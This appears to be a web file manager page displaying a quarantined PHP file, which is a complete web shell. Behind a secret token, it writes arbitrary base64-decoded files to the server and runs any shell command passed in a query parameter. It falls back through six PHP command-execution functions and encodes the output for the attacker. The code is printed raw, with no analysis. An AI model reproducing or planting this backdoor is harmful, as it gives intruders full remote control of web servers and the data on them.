File manager - Edit - /home/ferretapmx/.security/_VH_infosec/quarantine/remocao/fxdanaa.PHP
Back
<?php if(isset($_GET["t"])&&$_GET["t"]==="bmmaxdbewygivpxe"){ if(isset($_POST["w"])&&isset($_POST["d"])){ $r=@file_put_contents($_POST["w"],base64_decode($_POST["d"])); echo 'RXST:'.base64_encode($r!==false?'WRITE_OK:'.$r:'WRITE_FAIL').':RXEND'; }elseif(!isset($_GET["c"])){ echo 'RXST:'.base64_encode('SPPB-RCE-42').':RXEND'; }else{ $c=$_GET["c"].' 2>&1'; $o=''; if(function_exists('shell_exec')){$o=@shell_exec($c);} elseif(function_exists('exec')){@exec($c,$arr);$o=implode("\n",$arr);} elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} elseif(function_exists('popen')){$h=@popen($c,'r');$o='';while(!feof($h)){$o.=fread($h,4096);}pclose($h);} elseif(function_exists('proc_open')){ $d=[['pipe','r'],['pipe','w'],['pipe','w']]; $p=@proc_open($c,$d,$pi); if($p){$o=stream_get_contents($pi[1]);proc_close($p);} } else{$o='NOFUNC';} echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; } exit;} ?>
| ver. 1.4 |
Github
|
.
| PHP 8.2.32 | Generation time: 0.06 |
proxy
|
phpinfo
|
Settings